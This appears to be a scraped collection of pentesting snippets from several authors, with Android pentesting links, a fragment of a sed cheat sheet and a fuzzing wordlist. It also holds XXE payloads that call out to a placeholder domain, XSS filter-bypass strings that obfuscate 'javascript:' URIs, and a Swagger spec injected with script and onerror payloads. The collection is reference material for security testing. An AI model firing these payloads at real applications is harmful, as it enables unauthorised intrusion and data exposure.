thevillagehacker

Android Pentesting

Android Pentesting Sources from Hacking articles

• https://www.hackingarticles.in/android-penetration-testing-apk-reverse-engineering/
• https://www.hackingarticles.in/android-penetration-testing-apk-reversing-part-2/
• https://www.hackingarticles.in/android-pentest-deep-link-exploitation/
• https://www.hackingarticles.in/android-penetration-testing-webview-attacks/
• https://www.hackingarticles.in/android-penetration-testing-frida/
• https://www.hackingarticles.in/android-pentest-lab-setup-adb-command-cheatsheet/
• https://www.hackingarticles.in/android-hooking-and-sslpinning-using-objection-framework/
• https://www.hackingarticles.in/android-penetration-testing-drozer/

honoki

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

hackerscrolls

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]

hackerscrolls

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)

yassineaboukir

0
00
01
02
03
1
1.0
10
100
1000

shockey

{
  "swagger" : "2.0",
  "info" : {
    "version" : "1.0.100",
    "title" : "title<script language=\"javascript\">alert('1')</script>",
    "description" : "description with **markdown** format <script language=\"javascript\">alert('script-in-description')</script> <img src=x onerror=alert(\"img-in-description\")>"
  },
  "tags" : [ {
    "name" : "Admin",
    "description" : "tag with **markdown**"

r2k0

##FILE SPACING:

 # double space a file
 sed G

 # double space a file which already has blank lines in it. Output file
 # should contain no more than one blank line between lines of text.
 sed '/^$/d;G'

 # triple space a file